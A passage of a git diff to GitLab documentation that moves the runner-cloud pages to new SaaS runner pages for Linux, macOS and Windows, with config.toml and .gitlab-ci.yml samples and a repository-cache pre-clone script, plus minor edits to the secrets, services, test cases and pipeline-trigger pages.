-During the Beta period, the architecture of this solution will change. Rather than the jobs running on a specific VM instance, they will run on an ephemeral VM instance that is created by an autoscaling instance, known as the Runner Manager. We will notify all Beta participants of any downtime required to do this work.
+<!-- This redirect file can be deleted after 2022-02-05. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/runners/runner_cloud/windows_runner_cloud.md b/doc/ci/runners/runner_cloud/windows_runner_cloud.md
index ef4d4076c91..fb64938eb9f 100644
--- a/doc/ci/runners/runner_cloud/windows_runner_cloud.md
+++ b/doc/ci/runners/runner_cloud/windows_runner_cloud.md
@@ -1,155 +1,9 @@
---
-stage: Verify
-group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../saas/windows_saas_runner.md'
+remove_date: '2022-02-05'
---
-# Runner Cloud for Windows (beta) **(FREE)**
+This document was moved to [another location](../saas/windows_saas_runner.md).
-Runner Cloud runners for Windows are in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta)
-and shouldn't be used for production workloads.
-
-During this beta period, the [shared runner pipeline quota](../../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota)
-applies for groups and projects in the same manner as Linux runners. This may
-change when the beta period ends, as discussed in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30834).
-
-Windows runners on GitLab.com autoscale by launching virtual machines on
-the Google Cloud Platform. This solution uses an
-[autoscaling driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/tree/master/docs/readme.md)
-developed by GitLab for the [custom executor](https://docs.gitlab.com/runner/executors/custom.html).
-Windows runners execute your CI/CD jobs on `n1-standard-2` instances with
-2 vCPUs and 7.5 GB RAM. You can find a full list of available Windows packages in
-the [package documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/main/cookbooks/preinstalled-software/README.md).
-
-We want to keep iterating to get Windows runners in a stable state and
-[generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga).
-You can follow our work towards this goal in the
-[related epic](https://gitlab.com/groups/gitlab-org/-/epics/2162).
-
-## Configuration
-
-The full contents of our `config.toml` are:
-
-NOTE:
-Settings that aren't public are shown as `X`.
-
-```toml
-concurrent = X
-check_interval = 3
-
-[[runners]]
- name = "windows-runner"
- url = "https://gitlab.com/"
- token = "TOKEN"
- executor = "custom"
- builds_dir = "C:\\GitLab-Runner\\builds"
- cache_dir = "C:\\GitLab-Runner\\cache"
- shell = "powershell"
- [runners.custom]
- config_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
- config_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "config"]
- prepare_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
- prepare_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "prepare"]
- run_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
- run_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "run"]
- cleanup_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
- cleanup_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "cleanup"]
-```
-
-The full contents of our `autoscaler/config.toml` are:
-
-```toml
-Provider = "gcp"
-Executor = "winrm"
-OS = "windows"
-LogLevel = "info"
-LogFormat = "text"
-LogFile = "C:\\GitLab-Runner\\autoscaler\\autoscaler.log"
-VMTag = "windows"
-
-[GCP]
- ServiceAccountFile = "PATH"
- Project = "some-project-df9323"
- Zone = "us-east1-c"
- MachineType = "n1-standard-2"
- Image = "IMAGE"
- DiskSize = 50
- DiskType = "pd-standard"
- Subnetwork = "default"
- Network = "default"
- Tags = ["TAGS"]
- Username = "gitlab_runner"
-
-[WinRM]
- MaximumTimeout = 3600
- ExecutionMaxRetries = 0
-
-[ProviderCache]
- Enabled = true
- Directory = "C:\\GitLab-Runner\\autoscaler\\machines"
-```
-
-## Example `.gitlab-ci.yml` file
-
-Below is a sample `.gitlab-ci.yml` file that shows how to start using the runners for Windows:
-
-```yaml
-.shared_windows_runners:
- tags:
- - shared-windows
- - windows
- - windows-1809
-
-stages:
- - build
- - test
-
-before_script:
- - Set-Variable -Name "time" -Value (date -Format "%H:%m")
- - echo ${time}
- - echo "started by ${GITLAB_USER_NAME}"
-
-build:
- extends:
- - .shared_windows_runners
- stage: build
- script:
- - echo "running scripts in the build job"
-
-test:
- extends:
- - .shared_windows_runners
- stage: test
- script:
- - echo "running scripts in the test job"
-```
-
-## Limitations and known issues
-
-- All the limitations mentioned in our [beta
- definition](https://about.gitlab.com/handbook/product/#beta).
-- The average provisioning time for a new Windows VM is 5 minutes.
- This means that you may notice slower build start times
- on the Windows runner fleet during the beta. In a future
- release we intend to update the autoscaler to enable
- the pre-provisioning of virtual machines. This is intended to significantly reduce
- the time it takes to provision a VM on the Windows fleet. You can
- follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32).
-- The Windows runner fleet may be unavailable occasionally
- for maintenance or updates.
-- The Windows runner virtual machine instances do not use the
- GitLab Docker executor. This means that you can't specify
- [`image`](../../../ci/yaml/index.md#image) or [`services`](../../../ci/yaml/index.md#services) in
- your pipeline configuration.
-- For the beta release, we have included a set of software packages in
- the base VM image. If your CI job requires additional software that's
- not included in this list, then you must add installation
- commands to [`before_script`](../../../ci/yaml/index.md#before_script) or [`script`](../../../ci/yaml/index.md#script) to install the required
- software. Note that each job runs on a new VM instance, so the
- installation of additional software packages needs to be repeated for
- each job in your pipeline.
-- The job may stay in a pending state for longer than the
- Linux runners.
-- There is the possibility that we introduce breaking changes which will
- require updates to pipelines that are using the Windows runner
- fleet.
+<!-- This redirect file can be deleted after 2022-02-05. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/runners/saas/linux_saas_runner.md b/doc/ci/runners/saas/linux_saas_runner.md
new file mode 100644
index 00000000000..4d1e628b8e7
--- /dev/null
+++ b/doc/ci/runners/saas/linux_saas_runner.md
@@ -0,0 +1,188 @@
+---
+stage: Verify
+group: Runner
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# SaaS runners on Linux **(FREE SAAS)**
+
+SaaS runners on Linux are autoscaled ephemeral Google Cloud Platform virtual machines.
+
+Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each job, thus maximizing security. These shared runners are available on GitLab.com.
+
+GitLab offers Ultimate tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier.
+
+All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, Google COS and the latest Docker Engine
+installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default
+region of the VMs is US East1.
+Each instance is used only for one job. This ensures that any sensitive data left on the system can't be accessed by other people's CI/CD jobs.
+
+NOTE:
+The final disk space your jobs can use will be less than 25GB. Some disk space allocated to the instance will be occupied by the operating system, the Docker image, and a copy of your cloned repository.
+
+The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times.
+
+Jobs handled by shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`)
+**time out after 3 hours**, regardless of the timeout configured in a
+project. Check issue [#4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [#4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference.
+
+Jobs handled by shared runners on Windows and macOS on GitLab.com **time out after 1 hour** while this service is in the Beta stage.
+
+Below are the runners' settings.
+
+| Setting | GitLab.com | Default |
+| ----------- | ----------------- | ---------- |
+| Executor | `docker+machine` | - |
+| Default Docker image | `ruby:2.5` | - |
+| `privileged` (run [Docker in Docker](https://hub.docker.com/_/docker/)) | `true` | `false` |
+
+These runners share a [distributed cache](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) through use of a Google Cloud Storage (GCS) bucket. Cache contents not updated within the last 14 days are automatically removed through use of an [object lifecycle management policy](https://cloud.google.com/storage/docs/lifecycle).
+
+## Pre-clone script
+
+With SaaS runners on Linux, you can run commands in a CI
+job before the runner attempts to run `git init` and `git fetch` to
+download a GitLab repository. The
+[`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
+can be used for:
+
+- Seeding the build directory with repository data
+- Sending a request to a server
+- Downloading assets from a CDN
+- Any other commands that must run before the `git init`
+
+To use this feature, define a [CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables) called
+`CI_PRE_CLONE_SCRIPT` that contains a bash script.
+
+NOTE:
+The `CI_PRE_CLONE_SCRIPT` variable does not work on Windows runners.
+
+### Pre-clone script example
+
+This example was used in the `gitlab-org/gitlab` project until November 2021.
+The project no longer uses this optimization because the [pack-objects cache](../../../administration/gitaly/configure_gitaly.md#pack-objects-cache)
+lets Gitaly serve the full CI/CD fetch traffic. See [Git fetch caching](../../../development/pipelines.md#git-fetch-caching).
+
+The `CI_PRE_CLONE_SCRIPT` was defined as a project CI/CD variable:
+
+```shell
+(
+ echo "Downloading archived master..."
+ wget -O /tmp/gitlab.tar.gz https://storage.googleapis.com/gitlab-ci-git-repo-cache/project-278964/gitlab-master-shallow.tar.gz
+
+ if [ ! -f /tmp/gitlab.tar.gz ]; then
+ echo "Repository cache not available, cloning a new directory..."
+ exit
+ fi
+
+ rm -rf $CI_PROJECT_DIR
+ echo "Extracting tarball into $CI_PROJECT_DIR..."
+ mkdir -p $CI_PROJECT_DIR
+ cd $CI_PROJECT_DIR
+ tar xzf /tmp/gitlab.tar.gz
+ rm -f /tmp/gitlab.tar.gz
+ chmod a+w $CI_PROJECT_DIR
+)
+```
+
+The first step of the script downloads `gitlab-master.tar.gz` from Google Cloud Storage.
+There was a [GitLab CI/CD job named `cache-repo`](https://gitlab.com/gitlab-org/gitlab/-/blob/5fb40526c8c8aaafc5f92eab36d5bbddaca3893d/.gitlab/ci/cache-repo.gitlab-ci.yml)
+that was responsible for keeping that archive up-to-date. Every two hours on a scheduled pipeline,
+it did the following:
+
+1. Create a fresh clone of the `gitlab-org/gitlab` repository on GitLab.com.
+1. Save the data as a `.tar.gz`.
+1. Upload it into the Google Cloud Storage bucket.
+
+When a job ran with this configuration, the output looked similar to:
+
+```shell
+$ eval "$CI_PRE_CLONE_SCRIPT"
+Downloading archived master...
+Extracting tarball into /builds/gitlab-org/gitlab...
+Fetching changes...
+Reinitialized existing Git repository in /builds/gitlab-org/gitlab/.git/
+```
+
+The `Reinitialized existing Git repository` message shows that
+the pre-clone step worked. The runner runs `git init`, which
+overwrites the Git configuration with the appropriate settings to fetch
+from the GitLab repository.
+
+`CI_REPO_CACHE_CREDENTIALS` must contain the Google Cloud service account
+JSON for uploading to the `gitlab-ci-git-repo-cache` bucket.
+
+Note that this bucket should be located in the same continent as the
+runner, or [you can incur network egress charges](https://cloud.google.com/storage/pricing).
+
+## `config.toml`
+
+The full contents of our `config.toml` are:
+
+NOTE:
+Settings that are not public are shown as `X`.
+
+**Google Cloud Platform**
+
+```toml
+concurrent = X
+check_interval = 1
+metrics_server = "X"
+sentry_dsn = "X"
+
+[[runners]]
+ name = "docker-auto-scale"
+ request_concurrency = X
+ url = "https://gitlab.com/"
+ token = "SHARED_RUNNER_TOKEN"
+ pre_clone_script = "eval \"$CI_PRE_CLONE_SCRIPT\""
+ executor = "docker+machine"
+ environment = [
+ "DOCKER_DRIVER=overlay2",
+ "DOCKER_TLS_CERTDIR="
+ ]
+ limit = X
+ [runners.docker]
+ image = "ruby:2.5"
+ privileged = true
+ volumes = [
+ "/certs/client",
+ "/dummy-sys-class-dmi-id:/sys/class/dmi/id:ro" # Make kaniko builds work on GCP.
+ ]
+ [runners.machine]
+ IdleCount = 50
+ IdleTime = 3600
+ MaxBuilds = 1 # For security reasons we delete the VM after job has finished so it's not reused.
+ MachineName = "srm-%s"
+ MachineDriver = "google"
+ MachineOptions = [
+ "google-project=PROJECT",
+ "google-disk-size=25",
+ "google-machine-type=n1-standard-1",
+ "google-username=core",
+ "google-tags=gitlab-com,srm",
+ "google-use-internal-ip",
+ "google-zone=us-east1-d",
+ "engine-opt=mtu=1460", # Set MTU for container interface, for more information check https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3214#note_82892928
+ "google-machine-image=PROJECT/global/images/IMAGE",
+ "engine-opt=ipv6", # This will create IPv6 interfaces in the containers.
+ "engine-opt=fixed-cidr-v6=fc00::/7",
+ "google-operation-backoff-initial-interval=2" # Custom flag from forked docker-machine, for more information check https://github.com/docker/machine/pull/4600
+ ]
+ [[runners.machine.autoscaling]]
+ Periods = ["* * * * * sat,sun *"]
+ Timezone = "UTC"
+ IdleCount = 70
+ IdleTime = 3600
+ [[runners.machine.autoscaling]]
+ Periods = ["* 30-59 3 * * * *", "* 0-30 4 * * * *"]
+ Timezone = "UTC"
+ IdleCount = 700
+ IdleTime = 3600
+ [runners.cache]
+ Type = "gcs"
+ Shared = true
+ [runners.cache.gcs]
+ CredentialsFile = "/path/to/file"
+ BucketName = "bucket-name"
+```
diff --git a/doc/ci/runners/saas/macos/environment.md b/doc/ci/runners/saas/macos/environment.md
new file mode 100644
index 00000000000..3332eab9b44
--- /dev/null
+++ b/doc/ci/runners/saas/macos/environment.md
@@ -0,0 +1,43 @@
+---
+stage: Verify
+group: Runner
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# VM instances and images for SaaS runners on macOS **(FREE SAAS)**
+
+When you use SaaS runners on macOS:
+
+- Each of your jobs runs in a newly provisioned VM, which is dedicated to the specific job.
+- The VM is active only for the duration of the job and immediately deleted.
+
+## VM types
+
+The virtual machine where your job runs has `sudo` access with no password.
+For the Beta, there is only one available machine type, `gbc-macos-large`.
+
+| Instance type | vCPUS | Memory (GB) |
+| --------- | --- | ------- |
+| `gbc-macos-large` | 4 | 10 |
+
+## VM images
+
+You can execute your build on one of the following images.
+You specify this image in your `.gitlab-ci.yml` file.
+
+Each image is running a specific version of macOS and Xcode.
+
+| VM image | Included software |
+|---------------------------|--------------------|
+| macos-10.13-xcode-7 | <https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/main/toolchain/high-sierra.yml> |
+| macos-10.13-xcode-8 | <https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/main/toolchain/high-sierra.yml> |
+| macos-10.13-xcode-9 | <https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/main/toolchain/high-sierra.yml> |
+| macos-10.14-xcode-10 | <https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/main/toolchain/mojave.yml> |
+| macos-10.15-xcode-11 | <https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/main/toolchain/catalina.yml> |
+| macos-11-xcode-12 | <https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/main/toolchain/big-sur.yml> |
+
+### Image update policy
+
+- Support for new macOS versions is planned.
+- Additional details on the support policy and image update release process are documented
+ [in this project](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/macstadium/orka/-/blob/55bf59c8fa88712960afff2bf6ecc5daa879a8f5/docs/overview.md#os-images).
diff --git a/doc/ci/runners/saas/macos_saas_runner.md b/doc/ci/runners/saas/macos_saas_runner.md
new file mode 100644
index 00000000000..40c4deb51aa
--- /dev/null
+++ b/doc/ci/runners/saas/macos_saas_runner.md
@@ -0,0 +1,63 @@
+---
+stage: Verify
+group: Runner
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# SaaS runners on macOS (Beta) **(FREE SAAS)**
+
+SaaS runners on macOS provide an on-demand macOS build environment integrated with
+GitLab SaaS [CI/CD](../../../ci/index.md).
+Use these runners to build, test, and deploy apps for the Apple ecosystem (macOS, iOS, tvOS). You can take advantage
+of all the capabilities of the GitLab single DevOps platform and not have to manage or operate a
+build environment.
+
+SaaS runners on macOS are in [Beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta)
+and shouldn't be relied upon for mission-critical production jobs.
+
+## Quickstart
+
+To start using SaaS runners on macOS, you must submit an access request [issue](https://gitlab.com/gitlab-com/macos-buildcloud-runners-beta/-/issues/new?issuable_template=beta_access_request). After your
+access has been granted and your build environment configured, you must configure your
+`.gitlab-ci.yml` pipeline file:
+
+1. Add a `.gitlab-ci.yml` file to your project repository.
+1. Specify the [image](macos/environment.md#vm-images) you want to use.
+1. Commit a change to your repository.
+
+The runners automatically run your build.
+
+## Example `.gitlab-ci.yml` file
+
+The following sample `.gitlab-ci.yml` file shows how to start using the SaaS runners on macOS:
+
+```yaml
+.macos_saas_runners:
+ tags:
+ - shared-macos-amd64
+ image: macos-11-xcode-12
+
+stages:
+ - build
+ - test
+
+before_script:
+ - echo "started by ${GITLAB_USER_NAME}"
+
+build:
+ extends:
+ - .macos_saas_runners
+ stage: build
+ script:
+ - echo "running scripts in the build job"
+
+test:
+ extends:
+ - .macos_saas_runners
+ stage: test
+ script:
+ - echo "running scripts in the test job"
+```
+
+NOTE:
+During the Beta period, the architecture of this solution will change. Rather than the jobs running on a specific VM instance, they will run on an ephemeral VM instance that is created by an autoscaling instance, known as the Runner Manager. We will notify all Beta participants of any downtime required to do this work.
diff --git a/doc/ci/runners/saas/windows_saas_runner.md b/doc/ci/runners/saas/windows_saas_runner.md
new file mode 100644
index 00000000000..87ee542fb14
--- /dev/null
+++ b/doc/ci/runners/saas/windows_saas_runner.md
@@ -0,0 +1,155 @@
+---
+stage: Verify
+group: Runner
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# SaaS runners on Windows (beta) **(FREE SAAS)**
+
+SaaS runners on Windows are in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta)
+and shouldn't be used for production workloads.
+
+During this beta period, the [shared runner pipeline quota](../../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota)
+applies for groups and projects in the same manner as Linux runners. This may
+change when the beta period ends, as discussed in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30834).
+
+Windows runners on GitLab.com autoscale by launching virtual machines on
+the Google Cloud Platform. This solution uses an
+[autoscaling driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/tree/master/docs/readme.md)
+developed by GitLab for the [custom executor](https://docs.gitlab.com/runner/executors/custom.html).
+Windows runners execute your CI/CD jobs on `n1-standard-2` instances with
+2 vCPUs and 7.5 GB RAM. You can find a full list of available Windows packages in
+the [package documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/main/cookbooks/preinstalled-software/README.md).
+
+We want to keep iterating to get Windows runners in a stable state and
+[generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga).
+You can follow our work towards this goal in the
+[related epic](https://gitlab.com/groups/gitlab-org/-/epics/2162).
+
+## Configuration
+
+The full contents of our `config.toml` are:
+
+NOTE:
+Settings that aren't public are shown as `X`.
+
+```toml
+concurrent = X
+check_interval = 3
+
+[[runners]]
+ name = "windows-runner"
+ url = "https://gitlab.com/"
+ token = "TOKEN"
+ executor = "custom"
+ builds_dir = "C:\\GitLab-Runner\\builds"
+ cache_dir = "C:\\GitLab-Runner\\cache"
+ shell = "powershell"
+ [runners.custom]
+ config_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
+ config_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "config"]
+ prepare_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
+ prepare_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "prepare"]
+ run_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
+ run_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "run"]
+ cleanup_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
+ cleanup_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "cleanup"]
+```
+
+The full contents of our `autoscaler/config.toml` are:
+
+```toml
+Provider = "gcp"
+Executor = "winrm"
+OS = "windows"
+LogLevel = "info"
+LogFormat = "text"
+LogFile = "C:\\GitLab-Runner\\autoscaler\\autoscaler.log"
+VMTag = "windows"
+
+[GCP]
+ ServiceAccountFile = "PATH"
+ Project = "some-project-df9323"
+ Zone = "us-east1-c"
+ MachineType = "n1-standard-2"
+ Image = "IMAGE"
+ DiskSize = 50
+ DiskType = "pd-standard"
+ Subnetwork = "default"
+ Network = "default"
+ Tags = ["TAGS"]
+ Username = "gitlab_runner"
+
+[WinRM]
+ MaximumTimeout = 3600
+ ExecutionMaxRetries = 0
+
+[ProviderCache]
+ Enabled = true
+ Directory = "C:\\GitLab-Runner\\autoscaler\\machines"
+```
+
+## Example `.gitlab-ci.yml` file
+
+Below is a sample `.gitlab-ci.yml` file that shows how to start using the runners for Windows:
+
+```yaml
+.shared_windows_runners:
+ tags:
+ - shared-windows
+ - windows
+ - windows-1809
+
+stages:
+ - build
+ - test
+
+before_script:
+ - Set-Variable -Name "time" -Value (date -Format "%H:%m")
+ - echo ${time}
+ - echo "started by ${GITLAB_USER_NAME}"
+
+build:
+ extends:
+ - .shared_windows_runners
+ stage: build
+ script:
+ - echo "running scripts in the build job"
+
+test:
+ extends:
+ - .shared_windows_runners
+ stage: test
+ script:
+ - echo "running scripts in the test job"
+```
+
+## Limitations and known issues
+
+- All the limitations mentioned in our [beta
+ definition](https://about.gitlab.com/handbook/product/#beta).
+- The average provisioning time for a new Windows VM is 5 minutes.
+ This means that you may notice slower build start times
+ on the Windows runner fleet during the beta. In a future
+ release we intend to update the autoscaler to enable
+ the pre-provisioning of virtual machines. This is intended to significantly reduce
+ the time it takes to provision a VM on the Windows fleet. You can
+ follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32).
+- The Windows runner fleet may be unavailable occasionally
+ for maintenance or updates.
+- The Windows runner virtual machine instances do not use the
+ GitLab Docker executor. This means that you can't specify
+ [`image`](../../../ci/yaml/index.md#image) or [`services`](../../../ci/yaml/index.md#services) in
+ your pipeline configuration.
+- For the beta release, we have included a set of software packages in
+ the base VM image. If your CI job requires additional software that's
+ not included in this list, then you must add installation
+ commands to [`before_script`](../../../ci/yaml/index.md#before_script) or [`script`](../../../ci/yaml/index.md#script) to install the required
+ software. Note that each job runs on a new VM instance, so the
+ installation of additional software packages needs to be repeated for
+ each job in your pipeline.
+- The job may stay in a pending state for longer than the
+ Linux runners.
+- There is the possibility that we introduce breaking changes which will
+ require updates to pipelines that are using the Windows runner
+ fleet.
diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md
index 4d42bc69df8..c0a763c80f0 100644
--- a/doc/ci/secrets/index.md
+++ b/doc/ci/secrets/index.md
@@ -53,6 +53,7 @@ and supports multiple secrets engines.
To configure your Vault server:
+1. Ensure your Vault server is running on version 1.2.0 or higher.
1. Enable the authentication method by running these commands. They provide your Vault
server the [JSON Web Key Set](https://tools.ietf.org/html/rfc7517) (JWKS) endpoint for your GitLab instance, so Vault
can fetch the public signing key and verify the JSON Web Token (JWT) when authenticating:
@@ -85,10 +86,10 @@ To configure your Vault server:
to provide details about your Vault server:
- `VAULT_SERVER_URL` - The URL of your Vault server, such as `https://vault.example.com:8200`.
Required.
- - `VAULT_AUTH_ROLE` - (Optional) The role to use when attempting to authenticate.
+ - `VAULT_AUTH_ROLE` - Optional. The role to use when attempting to authenticate.
If no role is specified, Vault uses the [default role](https://www.vaultproject.io/api/auth/jwt#default_role)
specified when the authentication method was configured.
- - `VAULT_AUTH_PATH` - (Optional) The path where the authentication method is mounted, default is `jwt`.
+ - `VAULT_AUTH_PATH` - Optional. The path where the authentication method is mounted, default is `jwt`.
NOTE:
Support for providing these values in the user interface [is tracked in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/218677).
diff --git a/doc/ci/services/gitlab.md b/doc/ci/services/gitlab.md
index 5ac66846ab7..689ce884ae4 100644
--- a/doc/ci/services/gitlab.md
+++ b/doc/ci/services/gitlab.md
@@ -28,7 +28,7 @@ NOTE:
Variables set in the GitLab UI are not passed down to the service containers.
[Learn more](../variables/index.md#).
-Then, commands in `script:` sections in your `.gitlab-ci.yml` file can access the API at `http://gitlab/api/v4`.
+Then, commands in `script` sections in your `.gitlab-ci.yml` file can access the API at `http://gitlab/api/v4`.
For more information about why `gitlab` is used for the `Host`, see
[How services are linked to the job](../docker/using_docker_images.md#extended-docker-configuration-options).
diff --git a/doc/ci/test_cases/index.md b/doc/ci/test_cases/index.md
index 384bfc10779..4c840125d24 100644
--- a/doc/ci/test_cases/index.md
+++ b/doc/ci/test_cases/index.md
@@ -11,6 +11,10 @@ type: reference
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233479) in GitLab 13.6.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/241983) in GitLab 13.7.
+INFO:
+Create test cases in GitLab Ultimate.
+[Try it free for 30 days](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=u-test-cases-docs).
+
Test cases in GitLab can help your teams create testing scenarios in their existing development platform.
Now your Implementation and Testing teams can collaborate better, as they no longer have to
diff --git a/doc/ci/triggers/img/triggers_page.png b/doc/ci/triggers/img/triggers_page.png
deleted file mode 100644
index 7dc8f91cf7e..00000000000
--- a/doc/ci/triggers/img/triggers_page.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/triggers/index.md b/doc/ci/triggers/index.md
index afcf8ae629a..d3ac1de7c3b 100644
--- a/doc/ci/triggers/index.md
+++ b/doc/ci/triggers/index.md
@@ -5,131 +5,121 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: tutorial
---
-# Triggering pipelines through the API **(FREE)**
+# Trigger pipelines by using the API **(FREE)**
-Triggers can be used to force a pipeline rerun of a specific `ref` (branch or
-tag) with an API call.
+To trigger a pipeline for a specific branch or tag, you can use an API call
+to the [pipeline triggers API endpoint](../../api/pipeline_triggers.md).
-## Authentication tokens
+When authenticating with the API, you can use:
-The following methods of authentication are supported:
+- A [trigger token](#create-a-trigger-token) to trigger a branch or tag pipeline.
+- A [CI/CD job token](../jobs/ci_job_token.md) to trigger a [multi-project pipeline](../pipelines/multi_project_pipelines.md#create-multi-project-pipelines-by-using-the-api).
-- Trigger tokens: A unique trigger token can be obtained when [adding a new trigger](#adding-a-new-trigger).
-- [CI job tokens](../jobs/ci_job_token.md).
+## Create a trigger token
-If using the `$CI_PIPELINE_SOURCE` [predefined CI/CD variable](../variables/predefined_variables.md)
-to limit which jobs run in a pipeline, the value could be either `pipeline` or `trigger`,
-depending on which trigger method is used.
+You can trigger a pipeline for a branch or tag by generating a trigger token and using it
+to authenticate an API call. The token impersonates a user's project access and permissions.
-| `$CI_PIPELINE_SOURCE` value | Trigger method |
-|-----------------------------|----------------|
-| `pipeline` | Using the `trigger:` keyword in the CI/CD configuration file, or using the trigger API with `$CI_JOB_TOKEN`. |
-| `trigger` | Using the trigger API using a generated trigger token |
+Prerequisite:
-This also applies when using the `pipelines` or `triggers` keywords with the legacy [`only/except` basic syntax](../yaml/index.md#only--except).
+- You must have at least the [Maintainer role](../../user/permissions.md) for the project.
-## Adding a new trigger
+To create a trigger token:
-Go to your
-**Settings > CI/CD** under **Triggers** to add a new trigger. The **Add trigger** button creates
-a new token which you can then use to trigger a rerun of this
-particular project's pipeline.
-
-Every new trigger you create, gets assigned a different token which you can
-then use inside your scripts or `.gitlab-ci.yml`. You also have a nice
-overview of the time the triggers were last used.
-
-![Triggers page overview](img/triggers_page.png)
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **Pipeline triggers**.
+1. Enter a description and select **Add trigger**.
+ - You can view and copy the full token for all triggers you have created.
+ - You can only see the first 4 characters for tokens created by other project members.
WARNING:
-Passing plain text tokens in public projects is a security issue. Potential
-attackers can impersonate the user that exposed their trigger token publicly in
-their `.gitlab-ci.yml` file. Use [CI/CD variables](../variables/index.md)
-to protect trigger tokens.
+It is a security risk to save tokens in plain text in public projects. Potential
+attackers could use a trigger token exposed in the `.gitlab-ci.yml` file to impersonate
+the user that created the token. Use [masked CI/CD variables](../variables/index.md#mask-a-cicd-variable)
+to improve the security of trigger tokens.
-## Revoking a trigger
+## Trigger a pipeline
-You can revoke a trigger any time by going at your project's
-**Settings > CI/CD** under **Triggers** and hitting the **Revoke** button.
-The action is irreversible.
+After you [create a trigger token](#create-a-trigger-token), you can use it to trigger
+pipelines with a tool that can access the API, or a webhook.
-## Triggering a pipeline
+### Use cURL
-To trigger a pipeline you need to send a `POST` request to the GitLab API endpoint:
+You can use cURL to trigger pipelines with the [pipeline triggers API endpoint](../../api/pipeline_triggers.md).
+For example:
-```plaintext
-POST /projects/:id/trigger/pipeline
-```
